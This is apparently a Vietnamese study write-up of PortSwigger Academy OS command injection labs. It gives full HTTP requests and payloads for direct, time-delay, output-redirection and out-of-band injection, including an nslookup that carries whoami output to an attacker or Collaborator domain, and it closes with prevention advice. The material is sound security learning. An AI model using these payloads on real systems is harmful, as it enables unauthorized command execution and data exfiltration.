What is OS command injection?

OS command injection (còn gọi là shell injection) là lỗ hổng bảo mật web cho phép kẻ tấn công thực thi các lệnh hệ điều hành tùy ý trên server đang chạy ứng dụng và thường hoàn toàn xâm phạm ứng dụng cũng như tất cả dữ liệu của nó.

Injecting OS Commands

Việc sử dụng & ở cuối command cần inject giúp bỏ qua các đối số phía sau nhằm đảm bảo command được thực thi:

Summary

Việc đặt thêm dấu phân cách lệnh & sau lệnh được inject hữu ích vì nó tách lệnh được inject khỏi bất cứ thứ gì theo sau điểm injection. Điều này làm giảm khả năng những gì theo sau sẽ ngăn cản lệnh được inject thực thi.

Lab: OS Command Injection, Simple Case

Sử dụng request sau:

POST /product/stock HTTP/2
Host: 0a93001904f923008052c19100e200c5.web-security-academy.net
Cookie: session=cczYLP1DDaef5BTdY0u7FbNIyrTI8wVp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Referer: https://0a93001904f923008052c19100e200c5.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Origin: https://0a93001904f923008052c19100e200c5.web-security-academy.net
 
productId=1&storeId=%26%20%77%68%6f%61%6d%69

Với injection point là storeId và payload là & whoami.

Response:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 13
 
peter-rlYkVA

Useful Commands

Các câu lệnh dùng để thu thập thông tin của hệ thống sau khi xác định được lỗ hổng:

Summary

Sau khi chúng ta xác định được lỗ hổng OS command injection, việc thực thi một số lệnh ban đầu để thu thập thông tin về hệ thống là hữu ích. Dưới đây là tóm tắt một số lệnh hữu ích trên các nền tảng Linux và Windows:

Mục đích của lệnhLinuxWindows
Tên user hiện tạiwhoamiwhoami
Hệ điều hànhuname -aver
Cấu hình mạngifconfigipconfig /all
Kết nối mạngnetstat -annetstat -an
Tiến trình đang chạyps -eftasklist

Blind OS Command Injection Vulnerabilities

Nhiều trường hợp OS command injection là lỗ hổng blind. Điều này có nghĩa là ứng dụng không trả về đầu ra từ lệnh trong HTTP response. Lỗ hổng blind vẫn có thể được khai thác, nhưng cần các kỹ thuật khác nhau.

Detecting Blind OS Command Injection Using Time Delays

Tạo ra delay để phát hiện OS command injection:

Summary

Chúng ta có thể sử dụng lệnh được inject để gây ra delay thời gian, giúp xác nhận rằng lệnh đã được thực thi dựa trên thời gian ứng dụng phải hồi đáp. Lệnh ping là cách tốt để làm điều này vì cho phép chúng ta chỉ định số lượng gói ICMP cần gửi. Điều này cho phép chúng ta kiểm soát thời gian cần thiết để lệnh chạy:

& ping -c 10 127.0.0.1 &

Lệnh này khiến ứng dụng ping loopback network adapter trong 10 giây.

Lab: Blind OS Command Injection with Time Delays

Sử dụng request sau:

POST /feedback/submit HTTP/2
Host: 0a4000b7038719a88228d3f5000200a6.web-security-academy.net
Cookie: session=7b0kI9kakKj85aHJZWvipy3Hlk6L6f4u
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Origin: https://0a4000b7038719a88228d3f5000200a6.web-security-academy.net
Referer: https://0a4000b7038719a88228d3f5000200a6.web-security-academy.net/feedback
 
csrf=I7cTeLPFL0G4outrL4lCl3L6iQjw9YnD&name=a&email=%26%20%70%69%6e%67%20%2d%63%20%31%30%20%31%32%37%2e%30%2e%30%2e%31%20%26&subject=a&message=a

Với email có giá trị là:

& ping -c 10 127.0.0.1 &

Response phản hồi sau khoảng 9.3 - 9.4 giây. Điều này cho thấy ta đã thực hiện việc delay thành công.

Exploiting Blind OS Command Injection by Redirecting Output

Cách khai thác bằng cách sử dụng output redirect:

Summary

Chúng ta có thể chuyển hướng đầu ra từ lệnh được inject vào một file trong web root mà sau đó có thể truy xuất bằng trình duyệt. Ví dụ, nếu ứng dụng phục vụ các tài nguyên tĩnh từ vị trí filesystem /var/www/static, thì chúng ta có thể submit input sau:

& whoami > /var/www/static/whoami.txt &

Lab: Blind OS Command Injection with Output Redirection

Sử dụng request sau:

POST /feedback/submit HTTP/2
Host: 0a64009404b67095846dfe4f00fd0003.web-security-academy.net
Cookie: session=Y8R1zqAP9BCX0kd88oMwlX8Uu8SviNIi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Origin: https://0a64009404b67095846dfe4f00fd0003.web-security-academy.net
Referer: https://0a64009404b67095846dfe4f00fd0003.web-security-academy.net/feedback
 
csrf=hivBjYuPeZDnYfCbNnkUgzjhWwxc2uAB&name=%20%26%20whoami%20%3e%20%2fvar%2fwww%2fimages%2fwhoami.txt%20%26&email=a%40a.com&subject=a&message=a

Với injection point là name và payload là & whoami > /var/www/images/whoami.txt &.

Sau đó, gửi GET request đến /image?filename=whoami.txt để truy xuất tên user. Response của request này:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 13
 
peter-fQugh3

Exploiting Blind OS Command Injection Using Out-of-band (OAST) Techniques

Sử dụng out-of-band interaction để phát hiện OS command injection:

Summary

Chúng ta có thể sử dụng lệnh được inject để kích hoạt tương tác mạng out-of-band với hệ thống mà chúng ta kiểm soát, sử dụng kỹ thuật OAST. Ví dụ:

& nslookup kgji2ohoyw.web-attacker.com &

Cách trích xuất dữ liệu bằng cách sử dụng out-of-band interaction:

Summary

Kênh out-of-band cung cấp cách dễ dàng để exfiltrate đầu ra từ các lệnh được inject:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Điều này gây ra DNS lookup đến domain của kẻ tấn công chứa kết quả của lệnh whoami:

wwwuser.kgji2ohoyw.web-attacker.com

Lab: Blind OS Command Injection with Out-of-band Interaction

Sử dụng request sau:

POST /feedback/submit HTTP/2
Host: 0aef009303f0317f809ae9550049004c.web-security-academy.net
Cookie: session=RQ5kEivfXS305Vx0ZJDMtMoLuuuNhAWa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 308
Origin: https://0aef009303f0317f809ae9550049004c.web-security-academy.net
Referer: https://0aef009303f0317f809ae9550049004c.web-security-academy.net/feedback
 
csrf=BgCNBUUOOxMuqmR1x4wXc1EoqVZoVSWo&name=a&email=%26%20nslookup%20mh7fiuon2vcjg705brp8x3jvzm5dt3hs.oastify.com%20%26&subject=a&message=a

Với injection point là email và payload là & nslookup mh7fiuon2vcjg705brp8x3jvzm5dt3hs.oastify.com &. Giá trị mh7fiuon2vcjg705brp8x3jvzm5dt3hs.oastify.com là domain của Burp Suite Collaborator.

Sau khi gửi request, nhận được 2 DNS query:

The Collaborator server received a DNS lookup of type A for the domain name **mh7fiuon2vcjg705brp8x3jvzm5dt3hs.oastify.com**.  
  
The lookup was received from IP address 3.251.120.108:58034 at 2025-Apr-20 01:33:51.319 UTC.
 
The Collaborator server received a DNS lookup of type A for the domain name **mh7fiuon2vcjg705brp8x3jvzm5dt3hs.oastify.com**.  
  
The lookup was received from IP address 3.251.120.100:18601 at 2025-Apr-20 01:33:51.319 UTC.

Blind OS Command Injection with Out-of-band Data Exfiltration

Sử dụng request sau:

POST /feedback/submit HTTP/2
Host: 0ac9007c0433aaaa80191c5b006d0018.web-security-academy.net
Cookie: session=d70u1cylUEnzOjb9EakPY9Y4pUmTXk8W
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
Origin: https://0ac9007c0433aaaa80191c5b006d0018.web-security-academy.net
Referer: https://0ac9007c0433aaaa80191c5b006d0018.web-security-academy.net/feedback
 
csrf=ua5GwOvV2zqP3iov6fMG6f44c3T1Ph2k&name=a&email=%26%20nslookup%20%60whoami%60.2z2v0a63kbuzynilt77ofj1bh2ntbkz9.oastify.com%20%26&subject=a&message=a

Với injection point là email và payload là & nslookup whoami.2z2v0a63kbuzynilt77ofj1bh2ntbkz9.oastify.com &.

Sau khi gửi request, có 2 DNS query gửi tới server của Burp Collaborator:

The Collaborator server received a DNS lookup of type A for the domain name **peter-niBLE4.2z2v0a63kbuzynilt77ofj1bh2ntbkz9.oastify.com**.  
  
The lookup was received from IP address 3.248.186.189:29253 at 2025-Apr-20 01:42:30.108 UTC.
 
The Collaborator server received a DNS lookup of type A for the domain name **peter-niBLE4.2z2v0a63kbuzynilt77ofj1bh2ntbkz9.oastify.com**.  
  
The lookup was received from IP address 3.248.186.224:17126 at 2025-Apr-20 01:42:30.108 UTC.

Submit solution với giá trị là peter-niBLE4 để hoàn thành lab.

Ways of Injecting OS Commands

Các cách để thực hiện OS command injection:

Summary

Một số ký tự hoạt động như dấu phân cách lệnh, cho phép các lệnh được nối với nhau. Các dấu phân cách lệnh sau hoạt động trên cả hệ thống Windows và Unix:

  • &
  • &&
  • |
  • ||

Các dấu phân cách lệnh sau chỉ hoạt động trên hệ thống Unix:

  • ;
  • Newline (0x0a hoặc \n)

Trên hệ thống Unix, chúng ta cũng có thể sử dụng backtick hoặc ký tự dollar để thực hiện inline execution của lệnh được inject trong lệnh gốc:

  • ` injected command `
  • $( injected command )

How to prevent OS command injection

Cách hiệu quả nhất để ngăn chặn OS command injection là không bao giờ gọi các lệnh hệ điều hành từ application-layer code. Trong hầu hết các trường hợp, có các cách thay thế để triển khai chức năng cần thiết bằng cách sử dụng các API an toàn hơn.

Nếu không thể tránh việc gọi lệnh hệ điều hành với user-supplied input thì phải thực hiện validation đầu vào mạnh mẽ. Một số ví dụ về validation hiệu quả bao gồm:

  • Validation whitelist các giá trị được phép
  • Validation rằng input là số
  • Validation rằng input chỉ chứa các ký tự chữ và số, không có syntax hoặc khoảng trắng nào khác

Không bao giờ cố gắng sanitize input bằng cách escape shell metacharacter. Trong thực tế, điều này quá dễ bị lỗi và dễ bị bypass bởi kẻ tấn công có kỹ năng.

Resources